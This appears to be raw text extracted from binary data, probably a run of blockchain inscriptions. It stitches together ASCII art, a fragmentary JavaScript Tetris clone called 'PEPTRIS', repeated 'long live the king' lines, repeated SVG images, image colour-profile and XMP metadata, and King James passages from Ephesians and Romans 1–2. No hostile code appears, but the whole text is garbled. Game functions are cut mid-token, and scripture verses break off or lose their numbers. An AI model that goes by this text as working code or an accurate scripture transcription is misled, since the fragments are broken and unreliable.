'colllllllllllllllllo;.:ooc;;;:;;,,;;;;;,,,;;;;::cccccccccccccc::;;;;:::::::::;;::cccc:'
.clllllllllllllllllll;',:cllllooloololllc::;;;:::;,,,,,;;;;;;;;;;;;;;;;;;;;;;;::;;;,'.
.,:cllllllllllllllllll;,'':lllllllllllllllloooolllccccc:;::;,;;;;;;;;;;,;;;,'.....
..,;:clolllllllllllllllclllllllllllllllllllllllllllllllllloolloolollool:'.
.',;:cclllollllllllllllllllllllllllllllllllllllllllllllllllolc:;'.
...';,;cccccllllllllllllllllllllllM
llllllllllllllolcc:;,..
....'',;;;::::::ccccccccccccccccc:::;,,'..
              ...............
              /pre>--->
  <title>PEPTRIS</title>
  <meta charset="UTF-8">
    background: black;
    align-items: center;
    justify-content: center;
    border: 2px solid white;
0" height="560" id="game"></canvas>
function getRandomInt(min, max) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
function generateSequence() {
  const sequence = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
  while (sequence.length) {
    const rand = getRandomInt(0, sequence.length - 1);
    const name = sequence.splice(rand, 1)[0];
    tetrominoSequence.push(name);
function getNextTetromino() {
  if (tetrominoSequence.length === 0) {
    generateSequence();
  const name = tetrominoSequence.pop();
  const matrix = tetrominos[name];
  const col = playfield[0].length / 2 - Math.ceil(matrix[0].length / 2);
  const row = name === 'I' ? -1 : -2;
    name: name,
    matrix: matrix,
    row: row,
    col: col
function rotate(matrix) {
  const N = matrix.length - 1;
  const result = matrix.map((row, i) =>
    row.map((val, j) => matrix[N - j][i])
function isValidMove(matrix, cM
  for (let row = 0; row < matrix.length; row++) {
    for (let col = 0; col < matrix[row].length; col++) {
      if (matrix[row][col] && (
          cellCol + col < 0 ||
          cellCol + col >= playfield[0].length ||
          cellRow + row >= playfield.length ||
          playfield[cellRow + row][cellCol + col])
        return false;
function placeTetromino() {
  for (let row = 0; row < tetromino.matrix.length; row++) {
for (let col = 0; col < tetromino.matrix[row].length; col++) {
      if (tetromino.matrix[row][col]) {
        if (tetromino.row + row < 0) {
          return showGameOver();
        playfield[tetromino.row + row][tetromino.col + col] = tetromino.name;
  for (let row = playfield.length - 1; row >= 0; ) {
    if (playfield[row].every(cell => !!cell)) {
      for (let r = row; r >= 0; r--) {
        for (let c = 0; c < playfield[r].length; c++) {
          playfield[r][c] = playfield[rM
  tetromino = getNextTetromino();
function showGameOver() {
  cancelAnimationFrame(rAF);
  context.fillStyle = 'black';
  context.globalAlpha = 0.75;
  context.fillRect(0, canvas.height / 2 - 30, canvas.width, 60);
  context.globalAlpha = 1;
  context.fillStyle = 'white';
  context.font = '36px Futura';
  context.textAlign = 'center';
  context.textBaseline = 'middle';
  context.fillText('PEPTRIS', canvas.width / 2, canvas.heM
const canvas = document.getElementById('game');
const context = canvas.getContext('2d');
const tetrominoSequence = [];
const playfield = [];
for (let row = -2; row < 14; row++) {
  playfield[row] = [];
  for (let col = 1; col < 10; col++) {
    playfield[row][col] = 0;
const tetrominos = {
let tetromino = getNextTetromino();
let gameOver = false;
  rAF = requestAnimationFrame(loop);
  context.clearRect(0,0,canvas.width,canvas.height);
r (let row = 0; row < 14; row++) {
    for (let col = 0; col < 10; col++) {
      if (playfield[row][col]) {
        const name = playfield[row][col];
        context.fillStyle = colors[name];
        context.fillRect(col * grid, row * grid, grid-1, grid-1);
    if (++count > 35) {
      tetromino.row++;
      if (!isValidMove(tetromino.matrix, tetromino.row, tetromino.col)) {
        tetromino.row--;
        placeTetromino();
Style = colors[tetromino.name];
    for (let row = 0; row < tetromino.matrix.length; row++) {
      for (let col = 0; col < tetromino.matrix[row].length; col++) {
        if (tetromino.matrix[row][col]) {
          context.fillRect((tetromino.col + col) * grid, (tetromino.row + row) * grid, grid-1, grid-1);
document.addEventListener('keydown', function(e) {
  if (gameOver) return;
  if (e.which === 37 || e.which === 39) {
    const col = e.which === 37
      ? tetromino.col - 1
   : tetromino.col + 1;
    if (isValidMove(tetromino.matrix, tetromino.row, col)) {
      tetromino.col = col;
  if (e.which === 38) {
    const matrix = rotate(tetromino.matrix);
    if (isValidMove(matrix, tetromino.row, tetromino.col)) {
      tetromino.matrix = matrix;
  if(e.which === 40) {
    const row = tetromino.row + 1;
    if (!isValidMove(tetromino.matrix, row, tetromino.col)) {
      tetromino.row = row - 1;
      placeTetromino();
    tetromino.row = row;F
rAF = requestAnimationFrame(loop);
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
//33//@@@@@@@@@@@@@@@
#0+.'''.+550055@@?@@@@@@@@@@@@
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
OiCCPPhotoshop ICC profile
{PLTEYP#liaHFA$# @\@/F/:F
text/plain;charset=utf-8
long live the kingh!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://M
www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:dd2abdae-a652-4fc0-8f2a-8c8d13dd9e3d" xmpMM:InstanceID="xmp.iid:c24fca4e-337d-4b63-8e2a-a386595f2b79" xmpMM:OriginalDocumentID="xmp.did:da032d73-1edb-4e39-b95d-e5074d2dc111" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407733635617" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:48:49+11:M
00" xmp:ModifyDate="2023:02:15T07:48:49+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:14f6b236-9262-453b-8418-da3afd639048" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:48:53"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M@
                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
long live the kingh!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/19M
99/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:177fb65d-818e-4f6d-b084-9fd483983484" xmpMM:InstanceID="xmp.iid:0a73b8dc-cca2-4b28-827d-87f25a0df785" xmpMM:OriginalDocumentID="xmp.did:c733fd61-66e3-4bed-M
b0d7-87192e1e49af" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407793653875" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:49:50+11:00" xmp:ModifyDate="2023:02:15T07:49:50+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:079a9c0f-4fd7-481e-bc35-2a550b955a16" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:49:53"/> </rdf:Seq> </xmpMM:History> </M
rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M

         <?xpacket end="w"?>h!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
1:1: Paul, an apostle of Jesus Christ by the will of God, to the saints which are at Ephesus, and to the faithful in Christ Jesus:
1:2: Grace be to you, and peace, from God our Father, and from the Lord Jesus Christ.
1:3: Blessed be the God and Father of our Lord Jesus Christ, who hath blessed us with all spiritual blessings in heavenly places in Christ:
1:4: According as he hath chosen us in him before the foundation of the world, tM
hat we should be holy and without blame before him in love:
1:5: Having predestinated us unto the adoption of children by Jesus Christ to himself, according to the good pleasure of his will,
1:6: To the praise of the glory of his grace, wherein he hath made us accepted in the beloved.
1:7: In whom we have redemption through his blood, the forgiveness of sins, according to the riches of his grace;
1:8: Wherein he hath abounded toward us in all wisdom and prudence;
1:9: Having made known unto us the mystery of his wiM
ll, according to his good pleasure which he hath purposed in himself:
1:10: That in the dispensation of the fulness of times he might gather together in one all things in Christ, both which are in heaven, and which are on earth; even in him:
1:11: In whom also we have obtained an inheritance, being predestinated according to the purpose of him who worketh all things after the counsel of his own will:
1:12: That we should be to the praise of his glory, who first trusted in Christ.
1:13: In whom ye also trusted, afteM
r that ye heard the word of truth, the gospel of your salvation: in whom also after that ye believed, ye were sealed with that holy Spirit of promise,
1:14: Which is the earnest of our inheritance until the redemption of the purchased possession, unto the praise of his glory.
1:15: Wherefore I also, after I heard of your faith in the Lord Jesus, and love unto all the saints,
1:16: Cease not to give thanks for you, making mention of you in my prayers;
1:17: That the God of our Lord Jesus Christ, the Father of glory,M
 may give unto you the spirit of wisdom and revelation in the knowledge of him:
1:18: The eyes of your understanding being enlightened; that ye may know what is the hope of his calling, and what the riches of the glory of his inheritance in the saints,
1:19: And what is the exceeding greatness of his power to us-ward who believe, according to the working of his mighty power,
1:20: Which he wrought in Christ, when he raised him from the dead, and set him at his own right hand in the heavenly places,
all principality, and power, and might, and dominion, and every name that is named, not only in this world, but also in that which is to come:
1:22: And hath put all things under his feet, and gave him to be the head over all things to the church,
1:23: Which is his body, the fulness of him that filleth all in all.
2:1: And you hath he quickened, who were dead in trespasses and sins;
2:2: Wherein in time past ye walked according to the course of this world, according to the prince of the power of the airM
, the spirit that now worketh in the children of disobedience:
2:3: Among whom also we all had our conversation in times past in the lusts of our flesh, fulfilling the desires of the flesh and of the mind; and were by nature the children of wrath, even as others.
2:4: But God, who is rich in mercy, for his great love wherewith he loved us,
2:5: Even when we were dead in sins, hath quickened us together with Christ, (by grace ye are saved;)
2:6: And hath raised us up together, and made us sit together in heavenly plM
aces in Christ Jesus:
2:7: That in the ages to come he might shew the exceeding riches of his grace in his kindness toward us through Christ Jesus.
2:8: For by grace are ye saved through faith; and that not of yourselves: it is the gift of God:
2:9: Not of works, lest any man should boast.
2:10: For we are his workmanship, created in Christ Jesus unto good works, which God hath before ordained that we should walk in them.
2:11: Wherefore remember, that ye being in time past Gentiles in the flesh, who are called UncM
ircumcision by that which is called the Circumcision in the flesh made by hands;
2:12: That at that time ye were without Christ, being aliens from the commonwealth of Israel, and strangers from the covenants of promise, having no hope, and without God in the world:
2:13: But now in Christ Jesus ye who sometimes were far off are made nigh by the blood of Christ.
2:14: For he is our peace, who hath made both one, and hath broken down the middle wall of partition between us;
2:15: Having abolished in his flesh the enmM
ity, even the law of commandments contained in ordinances; for to make in himself of twain one new man, so making peace;
2:16: And that he might reconcile both unto God in one body by the cross, having slain the enmity thereby:
2:17: And came and preached peace to you which were afar off, and to them that were nigh.
2:18: For through him we both have access by one Spirit unto the Father.
2:19: Now therefore ye are no more strangers and foreigners, but fellowcitizens with the saints, and of the household of God;
0: And are built upon the foundation of the apostles and prophets, Jesus Christ himself being the chief corner stone;
2:21: In whom all the building fitly framed together groweth unto an holy temple in the Lord:
2:22: In whom ye also are builded together for an habitation of God through the Spirit.
3:1: For this cause I Paul, the prisoner of Jesus Christ for you Gentiles,
3:2: If ye have heard of the dispensation of the grace of God which is given me to you-ward:
3:3: How that by revelation he made knownM
 unto me the mystery; (as I wrote afore in few words,
3:4: Whereby, when ye read, ye may understand my knowledge in the mystery of Christ)
3:5: Which in other ages was not made known unto the sons of men, as it is now revealed unto his holy apostles and prophets by the Spirit;
3:6: That the Gentiles should be fellowheirs, and of the same body, and partakers of his promise in Christ by the gospel:
3:7: Whereof I was made a minister, according to the gift of the grace of God given unto me by the effectual working of M
3:8: Unto me, who am less than the least of all saints, is this grace given, that I should preach among the Gentiles the unsearchable riches of Christ;
3:9: And to make all men see what is the fellowship of the mystery, which from the beginning of the world hath been hid in God, who created all things by Jesus Christ:
3:10: To the intent that now unto the principalities and powers in heavenly places might be known by the church the manifold wisdom of God,
3:11: According to the eternal purpose which he pM
urposed in Christ Jesus our Lord:
3:12: In whom we have boldness and access with confidence by the faith of him.
3:13: Wherefore I desire that ye faint not at my tribulations for you, which is your glory.
3:14: For this cause I bow my knees unto the Father of our Lord Jesus Christ,
3:15: Of whom the whole family in heaven and earth is named,
3:16: That he would grant you, according to the riches of his glory, to be strengthened with might by his Spirit in the inner man;
3:17: That Christ may dwell in your hearts byM
 faith; that ye, being rooted and grounded in love,
3:18: May be able to comprehend with all saints what is the breadth, and length, and depth, and height;
3:19: And to know the love of Christ, which passeth knowledge, that ye might be filled with all the fulness of God.
3:20: Now unto him that is able to do exceeding abundantly above all that we ask or think, according to the power that worketh in us,
3:21: Unto him be glory in the church by Christ Jesus throughout all ages, world without end. Amen.
: I therefore, the prisoner of the Lord, beseech you that ye walk worthy of the vocation wherewith ye are called,
4:2: With all lowliness and meekness, with longsuffering, forbearing one another in love;
4:3: Endeavouring to keep the unity of the Spirit in the bond of peace.
4:4: There is one body, and one Spirit, even as ye are called in one hope of your calling;
4:5: One Lord, one faith, one baptism,
4:6: One God and Father of all, who is above all, and through all, and in you all.
4:7: But unto every one of us iM
s given grace according to the measure of the gift of Christ.
4:8: Wherefore he saith, When he ascended up on high, he led captivity captive, and gave gifts unto men.
4:9: (Now that he ascended, what is it but that he also descended first into the lower parts of the earth?
4:10: He that descended is the same also that ascended up far above all heavens, that he might fill all things.)
4:11: And he gave some, apostles; and some, prophets; and some, evangelists; and some, pastors and teachers;
4:12: For the perfectingM
 of the saints, for the work of the ministry, for the edifying of the body of Christ:
4:13: Till we all come in the unity of the faith, and of the knowledge of the Son of God, unto a perfect man, unto the measure of the stature of the fulness of Christ:
4:14: That we henceforth be no more children, tossed to and fro, and carried about with every wind of doctrine, by the sleight of men, and cunning craftiness, whereby they lie in wait to deceive;
4:15: But speaking the truth in love, may grow up into him in all thinM
gs, which is the head, even Christ:
4:16: From whom the whole body fitly joined together and compacted by that which every joint supplieth, according to the effectual working in the measure of every part, maketh increase of the body unto the edifying of itself in love.
4:17: This I say therefore, and testify in the Lord, that ye henceforth walk not as other Gentiles walk, in the vanity of their mind,
4:18: Having the understanding darkened, being alienated from the life of God through the ignorance that is in them,M
 because of the blindness of their heart:
4:19: Who being past feeling have given themselves over unto lasciviousness, to work all uncleanness with greediness.
4:20: But ye have not so learned Christ;
4:21: If so be that ye have heard him, and have been taught by him, as the truth is in Jesus:
4:22: That ye put off concerning the former conversation the old man, which is corrupt according to the deceitful lusts;
4:23: And be renewed in the spirit of your mind;
4:24: And that ye put on the new man, which after God iM
s created in righteousness and true holiness.
4:25: Wherefore putting away lying, speak every man truth with his neighbour: for we are members one of another.
4:26: Be ye angry, and sin not: let not the sun go down upon your wrath:
4:27: Neither give place to the devil.
4:28: Let him that stole steal no more: but rather let him labour, working with his hands the thing which is good, that he may have to give to him that needeth.
4:29: Let no corrupt communication proceed out of your mouth, but that which is good to M
the use of edifying, that it may minister grace unto the hearers.
4:30: And grieve not the holy Spirit of God, whereby ye are sealed unto the day of redemption.
4:31: Let all bitterness, and wrath, and anger, and clamour, and evil speaking, be put away from you, with all malice:
4:32: And be ye kind one to another, tenderhearted, forgiving one another, even as God for Christ's sake hath forgiven you.
5:1: Be ye therefore followers of God, as dear children;
5:2: And walk in love, as Christ also hath lovedM
 us, and hath given himself for us an offering and a sacrifice to God for a sweetsmelling savour.
5:3: But fornication, and all uncleanness, or covetousness, let it not be once named among you, as becometh saints;
5:4: Neither filthiness, nor foolish talking, nor jesting, which are not convenient: but rather giving of thanks.
5:5: For this ye know, that no whoremonger, nor unclean person, nor covetous man, who is an idolater, hath any inheritance in the kingdom of Christ and of God.
5:6: Let no man deceive you withM
 vain words: for because of these things cometh the wrath of God upon the children of disobedience.
5:7: Be not ye therefore partakers with them.
5:8: For ye were sometimes darkness, but now are ye light in the Lord: walk as children of light:
5:9: (For the fruit of the Spirit is in all goodness and righteousness and truth;)
5:10: Proving what is acceptable unto the Lord.
5:11: And have no fellowship with the unfruitful works of darkness, but rather reprove them.
5:12: For it is a shame even to speak of those thingM
s which are done of them in secret.
5:13: But all things that are reproved are made manifest by the light: for whatsoever doth make manifest is light.
5:14: Wherefore he saith, Awake thou that sleepest, and arise from the dead, and Christ shall give thee light.
5:15: See then that ye walk circumspectly, not as fools, but as wise,
5:16: Redeeming the time, because the days are evil.
5:17: Wherefore be ye not unwise, but understanding what the will of the Lord is.
5:18: And be not drunk with wine, wherein is excess; M
but be filled with the Spirit;
5:19: Speaking to yourselves in psalms and hymns and spiritual songs, singing and making melody in your heart to the Lord;
5:20: Giving thanks always for all things unto God and the Father in the name of our Lord Jesus Christ;
5:21: Submitting yourselves one to another in the fear of God.
5:22: Wives, submit yourselves unto your own husbands, as unto the Lord.
5:23: For the husband is the head of the wife, even as Christ is the head of the church: and he is the saviour of the body.
24: Therefore as the church is subject unto Christ, so let the wives be to their own husbands in every thing.
5:25: Husbands, love your wives, even as Christ also loved the church, and gave himself for it;
5:26: That he might sanctify and cleanse it with the washing of water by the word,
5:27: That he might present it to himself a glorious church, not having spot, or wrinkle, or any such thing; but that it should be holy and without blemish.
5:28: So ought men to love their wives as their own bodies. He that lovethM
 his wife loveth himself.
5:29: For no man ever yet hated his own flesh; but nourisheth and cherisheth it, even as the Lord the church:
5:30: For we are members of his body, of his flesh, and of his bones.
5:31: For this cause shall a man leave his father and mother, and shall be joined unto his wife, and they two shall be one flesh.
5:32: This is a great mystery: but I speak concerning Christ and the church.
5:33: Nevertheless let every one of you in particular so love his wife even as himself; and the wife see thM
at she reverence her husband.
6:1: Children, obey your parents in the Lord: for this is right.
6:2: Honour thy father and mother; (which is the first commandment with promise;)
6:3: That it may be well with thee, and thou mayest live long on the earth.
6:4: And, ye fathers, provoke not your children to wrath: but bring them up in the nurture and admonition of the Lord.
6:5: Servants, be obedient to them that are your masters according to the flesh, with fear and trembling, in singleness of your heart, asM
6:6: Not with eyeservice, as menpleasers; but as the servants of Christ, doing the will of God from the heart;
6:7: With good will doing service, as to the Lord, and not to men:
6:8: Knowing that whatsoever good thing any man doeth, the same shall he receive of the Lord, whether he be bond or free.
6:9: And, ye masters, do the same things unto them, forbearing threatening: knowing that your Master also is in heaven; neither is there respect of persons with him.
6:10: Finally, my brethren, be strong inM
 the Lord, and in the power of his might.
6:11: Put on the whole armour of God, that ye may be able to stand against the wiles of the devil.
6:12: For we wrestle not against flesh and blood, but against principalities, against powers, against the rulers of the darkness of this world, against spiritual wickedness in high places.
6:13: Wherefore take unto you the whole armour of God, that ye may be able to withstand in the evil day, and having done all, to stand.
6:14: Stand therefore, having your loins girt about wiM
th truth, and having on the breastplate of righteousness;
6:15: And your feet shod with the preparation of the gospel of peace;
6:16: Above all, taking the shield of faith, wherewith ye shall be able to quench all the fiery darts of the wicked.
6:17: And take the helmet of salvation, and the sword of the Spirit, which is the word of God:
6:18: Praying always with all prayer and supplication in the Spirit, and watching thereunto with all perseverance and supplication for all saints;
6:19: And for me, that utterance M
may be given unto me, that I may open my mouth boldly, to make known the mystery of the gospel,
6:20: For which I am an ambassador in bonds: that therein I may speak boldly, as I ought to speak.
6:21: But that ye also may know my affairs, and how I do, Tychicus, a beloved brother and faithful minister in the Lord, shall make known to you all things:
6:22: Whom I have sent unto you for the same purpose, that ye might know our affairs, and that he might comfort your hearts.
6:23: Peace be to the brethren, and love wiL
th faith, from God the Father and the Lord Jesus Christ.
6:24: Grace be with all them that love our Lord Jesus Christ in sincerity. Amen.h!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
1:1: Paul, a servant of Jesus Christ, called to be an apostle, separated unto the gospel of God,
1:2: (Which he had promised afore by his prophets in the holy scriptures,)
1:3: Concerning his Son Jesus Christ our Lord, which was made of the seed of David according to the flesh;
1:4: And declared to be the Son of God with power, according to the spirit of holiness, by the resurrection from the dead:
1:5: By whom we have received grace anM
d apostleship, for obedience to the faith among all nations, for his name:
1:6: Among whom are ye also the called of Jesus Christ:
1:7: To all that be in Rome, beloved of God, called to be saints: Grace to you and peace from God our Father, and the Lord Jesus Christ.
1:8: First, I thank my God through Jesus Christ for you all, that your faith is spoken of throughout the whole world.
1:9: For God is my witness, whom I serve with my spirit in the gospel of his Son, that without ceasing I make mention of you always inM
1:10: Making request, if by any means now at length I might have a prosperous journey by the will of God to come unto you.
1:11: For I long to see you, that I may impart unto you some spiritual gift, to the end ye may be established;
1:12: That is, that I may be comforted together with you by the mutual faith both of you and me.
1:13: Now I would not have you ignorant, brethren, that oftentimes I purposed to come unto you, (but was let hitherto,) that I might have some fruit among you also, even as amoM
1:14: I am debtor both to the Greeks, and to the Barbarians; both to the wise, and to the unwise.
1:15: So, as much as in me is, I am ready to preach the gospel to you that are at Rome also.
1:16: For I am not ashamed of the gospel of Christ: for it is the power of God unto salvation to every one that believeth; to the Jew first, and also to the Greek.
1:17: For therein is the righteousness of God revealed from faith to faith: as it is written, The just shall live by faith.
1:18: For the wrath ofM
 God is revealed from heaven against all ungodliness and unrighteousness of men, who hold the truth in unrighteousness;
1:19: Because that which may be known of God is manifest in them; for God hath shewed it unto them.
1:20: For the invisible things of him from the creation of the world are clearly seen, being understood by the things that are made, even his eternal power and Godhead; so that they are without excuse:
1:21: Because that, when they knew God, they glorified him not as God, neither were thankful; but M
became vain in their imaginations, and their foolish heart was darkened.
1:22: Professing themselves to be wise, they became fools,
1:23: And changed the glory of the uncorruptible God into an image made like to corruptible man, and to birds, and fourfooted beasts, and creeping things.
1:24: Wherefore God also gave them up to uncleanness through the lusts of their own hearts, to dishonour their own bodies between themselves:
1:25: Who changed the truth of God into a lie, and worshipped and served the creature more M
than the Creator, who is blessed for ever. Amen.
1:26: For this cause God gave them up unto vile affections: for even their women did change the natural use into that which is against nature:
1:27: And likewise also the men, leaving the natural use of the woman, burned in their lust one toward another; men with men working that which is unseemly, and receiving in themselves that recompence of their error which was meet.
1:28: And even as they did not like to retain God in their knowledge, God gave them over to a reM
probate mind, to do those things which are not convenient;
1:29: Being filled with all unrighteousness, fornication, wickedness, covetousness, maliciousness; full of envy, murder, debate, deceit, malignity; whisperers,
1:30: Backbiters, haters of God, despiteful, proud, boasters, inventors of evil things, disobedient to parents,
1:31: Without understanding, covenantbreakers, without natural affection, implacable, unmerciful:
1:32: Who knowing the judgment of God, that they which commit such things are worthy of deaM
th, not only do the same, but have pleasure in them that do them.
2:1: Therefore thou art inexcusable, O man, whosoever thou art that judgest: for wherein thou judgest another, thou condemnest thyself; for thou that judgest doest the same things.
2:2: But we are sure that the judgment of God is according to truth against them which commit such things.
2:3: And thinkest thou this, O man, that judgest them which do such things, and doest the same, that thou shalt escape the judgment of God?
st thou the riches of his goodness and forbearance and longsuffering; not knowing that the goodness of God leadeth thee to repentance?
2:5: But after thy hardness and impenitent heart treasurest up unto thyself wrath against the day of wrath and revelation of the righteous judgment of God;
2:6: Who will render to every man according to his deeds:
2:7: To them who by patient continuance in well doing seek for glory and honour and immortality, eternal life:
2:8: But unto them that are contentious, and do not obey theM
 truth, but obey unrighteousness, indignation and wrath,
2:9: Tribulation and anguish, upon every soul of man that doeth evil, of the Jew first, and also of the Gentile;
2:10: But glory, honour, and peace, to every man that worketh good, to the Jew first, and also to the Gentile:
2:11: For there is no respect of persons with God.
2:12: For as many as have sinned without law shall also perish without law: and as many as have sinned in the law shall be judged by the law;
2:13: (For not the hearers of the law are justM
 before God, but the doers of the law shall be justified.
2:14: For when the Gentiles, which have not the law, do by nature the things contained in the law, these, having not the law, are a law unto themselves:
2:15: Which shew the work of the law written in their hearts, their conscience also bearing witness, and their thoughts the mean while accusing or else excusing one another;)
2:16: In the day when God shall judge the secrets of men by Jesus Christ according to my gospel.
2:17: Behold, thou art called a Jew, M
and restest in the law, and makest thy boast of God,
2:18: And knowest his will, and approvest the things that are more excellent, being instructed out of the law;
2:19: And art confident that thou thyself art a guide of the blind, a light of them which are in darkness,
2:20: An instructor of the foolish, a teacher of babes, which hast the form of knowledge and of the truth in the law.
2:21: Thou therefore which teachest another, teachest thou not thyself? thou that preachest a man should not steal, dost thou stealM
2:22: Thou that sayest a man should not commit adultery, dost thou commit adultery? thou that abhorrest idols, dost thou commit sacrilege?
2:23: Thou that makest thy boast of the law, through breaking the law dishonourest thou God?
2:24: For the name of God is blasphemed among the Gentiles through you, as it is written.
2:25: For circumcision verily profiteth, if thou keep the law: but if thou be a breaker of the law, thy circumcision is made uncircumcision.
2:26: Therefore if the uncircumcision keep the righteouM
sness of the law, shall not his uncircumcision be counted for circumcision?
